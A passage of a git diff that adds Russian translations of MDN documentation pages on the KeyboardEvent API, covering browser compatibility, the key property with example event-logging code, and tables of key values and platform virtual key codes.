Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
constructor{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("31.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.char{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.charCode{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.isComposing{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("31.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
.keyCode{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.locale{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.location{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.repeat{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.which{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
.initKeyboardEvent(){{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Аргументы функции initKeyboardEvent() в WebKit и в Blink отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyIdentifierArg, in number locationArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in boolean altGraphKeyArg)

+ +

[2] Gecko-движок не будет поддерживать initKeyboardEvent(), потому что её поддержка полностью ломает определение фич вэб-приложений. Смотрите {{Bug(999645)}}.

+ +

[3] Аргументы initKeyboardEvent() в IE отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyArg, in number locationArg, in DOMString modifierListArg, in boolean repeatArt, in DOMString locationArg). Смотрите документ о initKeyboardEvent() на сайте MSDN.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/keyboardevent/key/index.html b/files/ru/web/api/keyboardevent/key/index.html new file mode 100644 index 0000000000..932daf471a --- /dev/null +++ b/files/ru/web/api/keyboardevent/key/index.html @@ -0,0 +1,229 @@ +--- +title: KeyboardEvent.key +slug: Web/API/KeyboardEvent/key +tags: + - API + - DOM + - KeyboardEvent + - Property + - Read-only +translation_of: Web/API/KeyboardEvent/key +--- +

{{APIRef("События DOM")}}

+ +

Ключ события {{domxref("KeyboardEvent")}} key доступен только для чтения, возвращает значение клавиши, нажатой пользователем, принимая во внимание состояние клавиш-модификаторов, таких как Shift , а также локаль и раскладку клавиатуры. Его значение определяется следующим образом:

+ +
+

Key values

+ +

See a full list of key values.

+
+ + + +

KeyboardEvent sequence

+ +

Every KeyboardEvent is fired in a pre-determined sequence. For a given key press, the sequence of KeyboardEvents fired is as follows assuming that {{domxref("Event.preventDefault")}} is not called:

+ +
    +
  1. A {{event("keydown")}} event is first fired. If the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the {{domxref("KeyboardEvent.repeat")}} read only property  is set to true.
    2. +
  2. If the key produces a character key that would result in a character being inserted into possibly an {{HTMLElement("input")}}, {{HTMLElement("textarea")}} or an element with {{domxref("HTMLElement.contentEditable")}} set to true, the {{event("beforeinput")}} and {{event("input")}} event types are fired in that order. Note that some other implementations may fire {{event("keypress")}} event if supported. The events will be fired repeatedly while the key is held down.
    3. +
  3. A {{event("keyup")}} event is fired once the key is released. This completes the process.
    4. +
+ +

In sequence 1 & 3, the KeyboardEvent.key attribute is defined and is set appropriately to a value according to the rules defined ealier.

+ +

KeyboardEvent sequence example

+ +

Consider the event sequence generated when we interact with the Shift and the 2 key using a U.S keyboard layout as compared to when we do so using a UK keyboard layout.

+ +

Try experimenting using the following two test cases:

+ +
    +
  1. Press and hold the Shift key, then press 2 and release it. Next, release the Shift key.
    2. +
  2. Press and hold the Shift key, then press and hold 2. Release the Shift key. Finally, release 2.
    3. +
+ +

HTML

+ +
<div class="fx">
+  <div>
+    <textarea rows="5" name="test-target" id="test-target"></textarea>
+    <button type="button" name="btn-clear-console" id="btn-clear-console">clear console</button>
+  </div>
+  <div class="flex">
+    <pre id="console-log"></div>
+  </div>
+</div>
+
+ +

CSS

+ +
.fx {
+  -webkit-display: flex;
+  display: flex;
+  margin-left: -20px;
+  margin-right: -20px;
+}
+
+.fx > div {
+  padding-left: 20px;
+  padding-right: 20px;
+}
+
+.fx > div:first-child {
+   width: 30%;
+}
+
+.flex {
+  -webkit-flex: 1;
+  flex: 1;
+}
+
+#test-target {
+  display: block;
+  width: 100%;
+  margin-bottom: 10px;
+}
+
+ +

JavaScript

+ +
let textarea = document.getElementById('test-target'),
+consoleLog = document.getElementById('console-log'),
+btnClearConsole = document.getElementById('btn-clear-console');
+
+function logMessage(message) {
+  document.getElementById("console-log").innerHTML += message + "<br>";
+}
+
+textarea.addEventListener('keydown', (e) => {
+  if (!e.repeat)
+    logMessage(`Key "${e.key}" pressed  [event: keydown]`);
+  else
+    logMessage(`Key "${e.key}" repeating  [event: keydown]`);
+});
+
+textarea.addEventListener('beforeinput', (e) => {
+  logMessage(`Key "${e.data}" about to be input  [event: beforeinput]`);
+});
+
+textarea.addEventListener('input', (e) => {
+  logMessage(`Key "${e.data}" input  [event: input]`);
+});
+
+textarea.addEventListener('keyup', (e) => {
+  logMessage(`Key "${e.key}" released  [event: keyup]`);
+});
+
+btnClearConsole.addEventListener('click', (e) => {
+  let child = consoleLog.firstChild;
+  while (child) {
+   consoleLog.removeChild(child);
+   child = consoleLog.firstChild;
+  }
+});
+ +

Result

+ +

{{EmbedLiveSample('KeyboardEvent_sequence_example')}}

+ +
+

Note: On browsers that don't fully implement the {{domxref("InputEvent")}} interface which is used for the {{event("beforeinput")}} and {{event("input")}} events, you may get incorrect output on those lines of the log output.

+
+ +

Case 1

+ +

When the shift key is pressed, a {{event("keydown")}} event is first fired, and the key property value is set to the string "Shift". As we keep holding this key, the {{event("keydown")}} event does not continue to fire repeatedly because it does not produce a character key.

+ +

When key 2 is pressed, another {{event("keydown")}} event is fired for this new key press, and the key property value for the event is set to the string "@" for the U.S keyboard type and """ for the UK keyboard type, because of the active modifier shift key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced.

+ +

As we release the key 2, a {{event("keyup")}} event is fired and the key property will maintain the string values "@" and """ for the different keyboard layouts respectively.

+ +

As we finally release the shift key, another {{event("keyup")}} event is fired for it, and the key attribute value remains "Shift".

+ +

Case 2

+ +

When the shift key is pressed, a {{event("keydown")}} event is first fired, and the key property value is set to be the string "Shift". As we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key.

+ +

When key 2 is pressed, another {{event("keydown")}} event is fired for this new key press, and the key property value for the event is set to be the string "@" for the U.S keyboard type and """ for the UK keyboard type, because of the active modifier shift key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced. As we keep holding the key, the {{event("keydown")}} event continues to fire repeatedly and the {{domxref("KeyboardEvent.repeat")}}  property is set to true. The {{event("beforeinput")}} and {{event("input")}} events are fired repeatedly as well.

+ +

As we release the shift key, a {{event("keyup")}} event is fired for it, and the key attribute value remains "Shift". At this point, notice that the key property value for the repeating keydown event of the key 2 key press is now "2" because the modifier shift key is no longer active. The same goes for the {{domxref("InputEvent.data")}} property of the {{event("beforeinput")}} and {{event("input")}} events.

+ +

As we finally release the key 2, a {{event("keyup")}} event is fired but the key property will be set to the string value "2" for both keyboard layouts because the modifier shift key is no longer active.

+ +

Example

+ +

This example uses {{domxref("EventTarget.addEventListener()")}} to listen for {{event("keydown")}} events. When they occur,  the key's value is checked to see if it's one of the keys the code is interested in, and if it is, it gets processed in some way (possibly by steering a spacecraft, perhaps by changing the selected cell in a spreadsheet).

+ +
window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // Do nothing if the event was already processed
+  }
+
+  switch (event.key) {
+    case "Down": // IE/Edge specific value
+    case "ArrowDown":
+      // Do something for "down arrow" key press.
+      break;
+    case "Up": // IE/Edge specific value
+    case "ArrowUp":
+      // Do something for "up arrow" key press.
+      break;
+    case "Left": // IE/Edge specific value
+    case "ArrowLeft":
+      // Do something for "left arrow" key press.
+      break;
+    case "Right": // IE/Edge specific value
+    case "ArrowRight":
+      // Do something for "right arrow" key press.
+      break;
+    case "Enter":
+      // Do something for "enter" or "return" key press.
+      break;
+    case "Esc": // IE/Edge specific value
+    case "Escape":
+      // Do something for "esc" key press.
+      break;
+    default:
+      return; // Quit when this doesn't handle the key event.
+  }
+
+  // Cancel the default action to avoid it being handled twice
+  event.preventDefault();
+}, true);
+
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}{{Spec2('DOM3 Events')}}Initial definition, included key values.
{{SpecName('UI Events', '#dom-keyboardevent-key', 'KeyboardEvent.key')}}{{Spec2('UI Events')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.KeyboardEvent.key")}}

diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html new file mode 100644 index 0000000000..39e2b6c133 --- /dev/null +++ b/files/ru/web/api/keyboardevent/key/key_values/index.html @@ -0,0 +1,3665 @@ +--- +title: Значения клавиш +slug: Web/API/KeyboardEvent/key/Key_Values +translation_of: Web/API/KeyboardEvent/key/Key_Values +--- +

В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этота клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространенных платформ включены там, где они доступны.

+ +
+
Узнайте, как использовать эти пары "ключ-значение" в JavaScript с помощью KeyboardEvent.key
+
+ +

Special Values | Modifier Keys | Whitespace Keys | Navigation Keys | Editing Keys | UI Keys | Device Keys | IME and Composition Keys | Function Keys | Phone Keys | Multimedia Keys | Audio Control Keys | TV Control Keys | Media Controller Keys | Speech Recognition Keys | Document Keys | Application Selector Keys | Browser Control Keys | Numeric Keypad Keys

+ +

Специальные значения

+ +

Значения клавиш имеющих особое значение, кроме идентификации определенной клавиши или символа.

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Unidentified" +

Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определенным значением клавиши.

+ +

Это может произойти из-за аппаратных или программных ограничений или из-за ограничений платформы, на которой работает пользовательский агент.

+ 		разноеразноеразноеразное
+ +

Клавиши-модификаторы

+ +

Специальные клавиши-модификаторы, которые используются для генерации специальных символов или вызывают особые действия при использовании в сочетании с другими клавишами. Например:  Shift и Control , или lock-клавиши, такие как Caps Lock и NumLock.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Alt" [5]Клавиша Alt (Alternative) .VK_MENU (0x12)
+ VK_LMENU (0xA4)
+ VK_RMENU (0xA5)		kVK_Option (0x3A)
+ kVK_RightOption (0x3D)		GDK_KEY_Alt_L (0xFFE9)
+ GDK_KEY_Alt_R (0xFFEA)
+ Qt::Key_Alt (0x01000023)		KEYCODE_ALT_LEFT (57)
+ KEYCODE_ALT_RIGHT (58)
"AltGraph" [5]КлавишаAltGr или AltGraph (Альтернативная графика). Enables the ISO Level 3 shift modifier (where Shift is the level 2 modifier).GDK_KEY_Mode_switch (0xFF7E)
+ GDK_KEY_ISO_Level3_Shift (0xFE03)
+ GDK_KEY_ISO_Level3_Latch (0xFE04)
+ GDK_KEY_ISO_Level3_Lock (0xFE05)
+ GDK_KEY_ISO_Level5_Shift (0xFE11)
+ GDK_KEY_ISO_Level5_Latch (0xFE12)
+ GDK_KEY_ISO_Level5_Lock (0xFE13)
+ Qt::Key_AltGr (0x01001103
+ Qt::Key_Mode_switch (0x0100117E)
"CapsLock"Клавиша Caps Lock . Включает и выключает блокировку заглавных букв для последующего ввода.VK_CAPITAL (0x14)kVK_CapsLock (0x39)GDK_KEY_Caps_Lock (0xFFE5)
+ Qt::Key_CapsLock (0x01000024)		KEYCODE_CAPS_LOCK (115)
"Control"Клавиша Control, Ctrl, или Ctl . Позволяет вводить управляющие символы.VK_CONTROL (0x11)
+ VK_LCONTROL (0xA2)
+ VK_RCONTROL (0xA3)		kVK_Control (0x3B)
+ kVK_RightControl (0x3E)		GDK_KEY_Control_L (0xFFE3)
+ GDK_KEY_Control_R (0xFFE4)
+ Qt::Key_Control (0x01000021)		KEYCODE_CTRL_LEFT (113)
+ KEYCODE_CTRL_RIGHT (114)
"Fn" Fn (Function modifier) key. Используется для создания функциональной клавиши (F1–F15, например) символы на клавиатуре без выделенной области функциональных клавиш.Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.kVK_Function (0x3F)KEYCODE_FUNCTION (119)
"FnLock"Клавиша FnLock или F-Lock (Function Lock) .Переключает режим функциональных клавиш, описанный"Fn" вкл. и выкл. Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.
"Hyper" [4]Клавиша Hyper .GDK_KEY_Hyper_L (0xFFED)
+ GDK_KEY_Hyper_R (0xFFEE)
+ Qt::Key_Hyper_L (0x01000056)
+ Qt::Key_Hyper_R (0x01000057)
"Meta" [1]Клавиша Meta . Позволяет вводить специальные команды. Это клавиши с лого Windows , илиCommand или ⌘ на клавиатуре Mac .VK_LWIN (0x5B)
+ VK_RWIN (0x5C)		kVK_Command (0x37)
+ kVK_RightCommand (0x36)		GDK_KEY_Meta_L (0xFFE7)
+ GDK_KEY_Meta_R (0xFFE8)
+ Qt::Key_Meta (0x01000022)		KEYCODE_META_LEFT (117)
+ KEYCODE_META_RIGHT (118)
"NumLock"Клавиша NumLock (Number Lock). Переключает цифровую клавиатуру между вводом номера и другим режимом (часто стрелки направления).VK_NUMLOCK (0x90)GDK_KEY_Num_Lock (0xFF7F)
+ Qt::Key_NumLock (0x01000025)		KEYCODE_NUM_LOCK (143)
"ScrollLock" [2]КлавишаScroll Lock Перекключает между режимами прокрутки и перемещения курсора.VK_SCROLL (0x91)GDK_KEY_Scroll_Lock (0xFF14)
+ Qt::Key_ScrollLock (0x01000026)		KEYCODE_SCROLL_LOCK (116)
"Shift"Клавиша Shift. Изменяет нажатия клавиш, чтобы разрешить ввод букв в верхнем (или другом) регистре, а также для поддержки ввода знаков препинания и других специальных символов.VK_SHIFT (0x10)
+ VK_LSHIFT (0xA0)
+ VK_RSHIFT (0xA1)		kVK_Shift (0x38)
+ kVK_RightShift (0x3C)		GDK_KEY_Shift_L (0xFFE1)
+ GDK_KEY_Shift_R (0xFFE2)
+ Qt::Key_Shift (0x01000020)		KEYCODE_SHIFT_LEFT (59)
+ KEYCODE_SHIFT_RIGHT (60)
"Super" [4]Клавиша Super.GDK_KEY_Super_L (0xFFEB)
+ GDK_KEY_Super_R (0xFFEC)
+ Qt::Key_Super_L (0x01000053)
+ Qt::Key_Super_R (0x01000054)
"Symbol"Клавиша-модификатор Symbol (есть на некоторых виртуальных клавиатурах).KEYCODE_SYM (63) [3]
"SymbolLock"Клавиша Symbol Lock
+ +

[1] В Internet Explorer (проверено на релизах 9 и 11), а также во всех версиях Firefox, клавиша Windows сообщается как "OS" а не "Meta". Это будет изменено в Firefox в {{bug(1232918)}}. Пока это не будет исправлено, эти ключи возвращаются как "OS" в Firefox: VK_LWIN (0x5B) и VK_RWIN (0x5C) в Windows, и GDK_KEY_Super_L (0xFFEB), GDK_KEY_Super_R (0xFFEC), GDK_KEY_Hyper_L (0xFFED), и GDK_KEY_Hyper_R (0xFFEE) в Linux.

+ +

[2] Internet Explorer (проверено на релизах 9 и 11) сообщает "Scroll" вместо "ScrollLock" для клавиши Scroll Lock.

+ +

[3] Firefox не поддерживает клавишу Symbol до версии Firefox 37.

+ +

[4] Firefox генерирует значение ключа "OS" для клавиш Super и Hyper вместо "Super" и "Hyper".

+ +

[5] Chrome 67 и Firefox 63 теперь правильно интерпретируют правую клавишу Alt для раскладок клавиатуры, которые сопоставляют эту клавишу с AltGr. См. Дополнительные сведения об ошибке {{bug(900750)}} и Chrome bug 25503 для подробных деталей.

+ +

Пробельные клавиши

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Enter"Клавиша Enter или↵ (иногда помечается как Return).VK_RETURN (0x0D)kVK_Return (0x24)
+ kVK_ANSI_KeypadEnter (0x4C)
+ kVK_Powerbook_KeypadEnter (0x34)		GDK_KEY_Return (0xFF0D)
+ GDK_KEY_KP_Enter (0xFF8D)
+ GDK_KEY_ISO_Enter (0xFE34)
+ GDK_KEY_3270_Enter (0xFD1E)
+ Qt::Key_Return (0x01000004)
+ Qt::Key_Enter (0x01000005)		KEYCODE_ENTER (66)
+ KEYCODE_NUMPAD_ENTER (160)
+ KEYCODE_DPAD_CENTER (23)
"Tab"Горизонтальная табуляция, Tab.VK_TAB (0x09)kVK_Tab (0x30)GDK_KEY_Tab (0xFF09)
+ GDK_KEY_KP_Tab (0xFF89)
+ GDK_KEY_ISO_Left_Tab (0xFE20)
+ Qt::Key_Tab (0x01000001)		KEYCODE_TAB (61)
" " [1]Пробел, Space Bar.VK_SPACE (0x20)kVK_Space (0x31) +

GDK_KEY_space (0x20)
+ GDK_KEY_KP_Space (0xFF80)
+ Qt::Key_Space (0x20)

+ 		KEYCODE_SPACE (62)
+ +

[1] Старые браузеры могут вернуть "Spacebar" вместо " " для клавиши Space Bar . Firefox делал это до версии 37, как в Internet Explorer 9, 10, и 11.

+ +

Навигационные клавиши

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"ArrowDown" [1]Клавиша со стрелкой "вниз".VK_DOWN (0x28)kVK_DownArrow (0x7D)GDK_KEY_Down (0xFF54)
+ GDK_KEY_KP_Down (0xFF99)
+ Qt::Key_Down (0x01000015)		KEYCODE_DPAD_DOWN (20)
"ArrowLeft" [1]Клавиша со стрелкой "влево" .VK_LEFT (0x25)kVK_LeftArrow (0x7B)GDK_KEY_Left (0xFF51)
+ GDK_KEY_KP_Left (0xFF96)
+ Qt::Key_Left (0x01000012)		KEYCODE_DPAD_LEFT (21)
"ArrowRight" [1]Клавиша со стрелкой "вправо".VK_RIGHT (0x27)kVK_RightArrow (0x7C)GDK_KEY_Right (0xFF53)
+ GDK_KEY_KP_Right (0xFF98)
+ Qt::Key_Right (0x01000014)		KEYCODE_DPAD_RIGHT (22)
"ArrowUp" [1]Клавиша со стрелкой "вверх".VK_UP (0x26)kVK_UpArrow (0x7E)GDK_KEY_Up (0xFF52)
+ GDK_KEY_KP_Up (0xFF97)
+ Qt::Key_Up (0x01000013)		KEYCODE_DPAD_UP (19)
"End"Клавиша End . Перемещает в конец контента.VK_END (0x23)kVK_End (0x77)GDK_KEY_End (0xFF57)
+ GDK_KEY_KP_End (0xFF9C)
+ Qt::Key_End (0x01000011)		KEYCODE_MOVE_END (123)
"Home"Клавиша Home . В начало контента.VK_HOME (0x24)kVK_Home (0x73)GDK_KEY_Home (0xFF50)
+ GDK_KEY_KP_Home (0xFF95)
+ Qt::Key_Home (0x01000010)		KEYCODE_MOVE_HOME (122)
"PageDown"Клавиша Page Down (или PgDn). Прокручивает вниз или отображает следующую страницу содержимого.VK_NEXT (0x22)kVK_PageDown (0x79)GDK_KEY_Page_Down (0xFF56)
+ GDK_KEY_KP_Page_Down (0xFF9B)
+ Qt::Key_PageDown (0x01000017)		KEYCODE_PAGE_DOWN (93)
"PageUp"Клавиша Page Up (или PgUp). Прокручивает вверх или отображает предыдущую страницу содержимого.VK_PRIOR (0x21)kVK_PageUp (0x74)GDK_KEY_Page_Up (0xFF55)
+ GDK_KEY_KP_Page_Up (0xFF9A)
+ Qt::Key_PageUp (0x01000016)		KEYCODE_PAGE_UP (92)
+ +

[1] Internet Explorer, Edge (16 и ранее), и Firefox (36 и ранее) используют "Left", "Right", "Up", и "Down" вместо "ArrowLeft", "ArrowRight", "ArrowUp", и "ArrowDown".

+ +

Клавиши редактирования

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Backspace"The Backspace key. This key is labeled Delete on Mac keyboards.VK_BACK (0x08)kVK_Delete (0x33)GDK_KEY_BackSpace (0xFF08)
+ Qt::Key_Backspace (0x01000003)		KEYCODE_DEL (67)
"Clear"The Clear key. Removes the currently selected input.VK_CLEAR (0x0C)
+ VK_OEM_CLEAR (0xFE)		kVK_ANSI_KeypadClear (0x47)GDK_KEY_Clear (0xFF0B)
+ Qt::Key_Clear (0x0100000B)		KEYCODE_CLEAR (28)
"Copy"The Copy key (on certain extended keyboards).APPCOMMAND_COPYGDK_KEY_Copy (0x1008FF57)
+ Qt::Key_Copy (0x010000CF)
"CrSel" [3]The Cursor Select key, CrSel.VK_CRSEL (0xF7)GDK_KEY_3270_CursorSelect (0xFD1C)
"Cut"The Cut key (on certain extended keyboards).APPCOMMAND_CUTGDK_KEY_Cut (0x1008FF58)
+ Qt::Key_Cut (0x010000D0)
"Delete" [2]Клавиша Delete, Del.VK_DELETE (0x2E)kVK_ForwardDelete (0x75) [1]GDK_KEY_Delete (0xFFFF)
+ GDK_KEY_KP_Delete (0xFF9F)
+ Qt::Key_Delete (0x01000007)		KEYCODE_FORWARD_DEL (112)
"EraseEof"Erase to End of Field. Deletes all characters from the current cursor position to the end of the current field.VK_EREOF (0xF9)GDK_KEY_3270_ExSelect (0xFD1B)
"ExSel" [4]The ExSel (Extend Selection) key.VK_EXSEL (0xF8)GDK_KEY_3270_ExSelect (0xFD1B)
"Insert"The Insert key, Ins. Toggles between inserting and overwriting text.VK_INSERT (0x2D)GDK_KEY_Insert (0xFF63)
+ GDK_KEY_KP_Insert (0xFF9E)
+ Qt::Key_Insert (0x01000006)		KEYCODE_INSERT (124)
"Paste"Paste from the clipboard.APPCOMMAND_PASTEGDK_KEY_Paste (0x1008FF6D)
+ Qt::Key_Paste (0x010000E2)
"Redo"Redo the last action.APPCOMMAND_REDOGDK_KEY_Redo (0xFF66)
"Undo"Undo the last action.APPCOMMAND_UNDOGDK_KEY_Undo (0xFF65)
+ +

[1] On keyboards without a dedicated Del key, the Mac generates the "Delete" value when Fn is pressed in tandem with Delete (which is Backspace on other platforms).

+ +

[2] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier use "Del" instead of "Delete" for the Del key.

+ +

[3] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value "Crsel" instead of "CrSel" when the CrSel key is pressed.

+ +

[4] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value "Exsel" instead of "ExSel" when the ExSel key is pressed.

+ +

Клавиши интерфейса пользователя (UI)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Accept"Клавиша или кнопка Accept, Commit, или OK. Accepts the currently selected option or input method sequence conversion.VK_ACCEPT (0x1E)KEYCODE_DPAD_CENTER (23)
"Again"The Again key. Перевыполняет или повторяет предыдущее действие.GDK_KEY_Redo (0xFF66)
"Attn" [4]Клавиша "Внимание" Attn.VK_OEM_ATTN (0xF0)GDK_KEY_3270_Attn (0xFD0E)
"Cancel" [1]Клавиша отмены Cancel.GDK_KEY_Cancel (0xFF69)
"ContextMenu" [3]Отображает контекстное меню. Обычно находится между клавишами Windows (или OS) и Control на правой стороне клавиатуры.VK_APPS (0x5D)kVK_PC_ContextMenu (0x6E)GDK_KEY_Menu (0xFF67)
+ Qt::Key_Menu (0x01000055)		KEYCODE_MENU (82)
"Escape" [2]Клавиша отмены Esc. Обычно используется для выходы, отмены, ил выхода из текущей операции. Исторически Escape-символ использовался для подачи сигнала о начале специальной управляющей последовательности символов, называемой "escape-последовательностью".VK_ESCAPE (0x1B)kVK_Escape (0x35)GDK_KEY_Escape (0xFF1B)
+ Qt::Key_Escape (0x01000000)		KEYCODE_ESCAPE (111)
"Execute"Клавиша "Выполнить" Execute.VK_EXECUTE (0x2B)Qt::Key_Execute (0x01020003)
"Find"Клавиша "Найти" Find. Открывает интерфейс (обычно диалоговое окно) для выполнения операции поиска.APPCOMMAND_FINDGDK_KEY_Find (0xFF68)
"Finish" [5]Клавиша завершения Finish.VK_OEM_FINISH (0xF1)
"Help"Клавиша помощи Help. Открывает или переключает отображение справочной информации.VK_HELP (0x2F)
+ APPCOMMAND_HELP		kVK_Help (0x72)GDK_KEY_Help (0xFF6A)
+ Qt::Key_Help (0x01000058)		KEYCODE_HELP (259)
"Pause"Клавиша паузы Pause. Приостанавливает текущее приложение или состояние, если это применимо. +
Заметка: Не следует путать с клавишей "MediaPause" , которая используется для медиа-контроллеров, а не для управления приложениями и процессами.
+ 		VK_PAUSE (0x13)GDK_KEY_Pause (0xFF13)
+ GDK_KEY_Break (0xFF6B)
+ Qt::Key_Pause (0x01000008)		KEYCODE_BREAK (121)
"Play"Клавиша Play . Если применимо, возобновляет ранее приостановленное приложение. +
Заметка: Не следует путать с клавишей"MediaPlay" которая используется для медиа-контроллеров, а не для управления приложениями и процессами.
+ 		VK_PLAY (0xFA)GDK_KEY_3270_Play (0xFD16)
+ Qt::Key_Play (0x01020005)
"Props"Клавиша "Свойства" Props.
"Select"Клавиша выбора/выделения Select.VK_SELECT (0x29)GDK_KEY_Select (0xFF60)KEYCODE_BUTTON_SELECT (109)
"ZoomIn" [6]Клавиша увеличения масштаба ZoomIn.GDK_KEY_ZoomIn (0x1008FF8B)
+ Qt::Key_ZoomIn (0x010000F6)		KEYCODE_ZOOM_IN (168)
"ZoomOut" [6]Клавиша уменьшения масштаба ZoomOut.GDK_KEY_ZoomOut (0x1008FF8C)
+ Qt::Key_ZoomOut (0x010000F7)		KEYCODE_ZOOM_OUT (169)
+ +

[1] В Google Chrome 52, клавиша Cancel ошибочно возвращает значение "Pause". Исправлено в Chrome 53. (Смотри подробно в Chrome bug 612749.)

+ +

[2] В Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша Esc возвращает значение "Esc" вместо "Escape".

+ +

[3] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша контекстного меню возвращает значение "Apps" вместо "ContextMenu".

+ +

[4] Клавиша Attn генерирует значение "Unidentified" в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее "KanaMode".

+ +

[5] Клавиша Finish генерирует значение "Unidentified" в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее "Katakana".

+ +

[6] Firefox не поддерживал клавиши "ZoomIn" и "ZoomOut" до Firefox 37.

+ +

Клавиши устройства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"BrightnessDown"Клавиша уменьшения яркости. Обычно используется для уменьшения яркости дисплея.GDK_KEY_MonBrightnessDown (0x1008FF03)
+ Qt::Key_MonBrightnessDown (0x010000B3)		KEYCODE_BRIGHTNESS_DOWN (220)
"BrightnessUp"Клавиша увеличения яркости. Обычно увеличивает яркость дисплея.GDK_KEY_MonBrightnessUp (0x1008FF02)
+ Qt::Key_MonBrightnessUp (0x010000B2)		KEYCODE_BRIGHTNESS_UP (221)
"Eject"Клавиша извлечения Eject. Извлекает съемный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).GDK_KEY_Eject (0x1008FF2C)
+ Qt::Key_Eject (0x010000B9)		KEYCODE_MEDIA_EJECT (129)
"LogOff" [2]Клавиша выход из системы LogOff.GDK_KEY_LogOff (0x1008FF61)
+ Qt::Key_LogOff (0x010000D9)
"Power"Кнопка или клавиша питания Power для включения и выключения питания. +
Заметка: Не все системы передают этот ключ агенту пользователя.
+ 		KEYCODE_POWER (26)
"PowerOff"Кнопка выключения компьютера PowerOff или PowerDown.GDK_KEY_PowerDown (0x1008FF21)
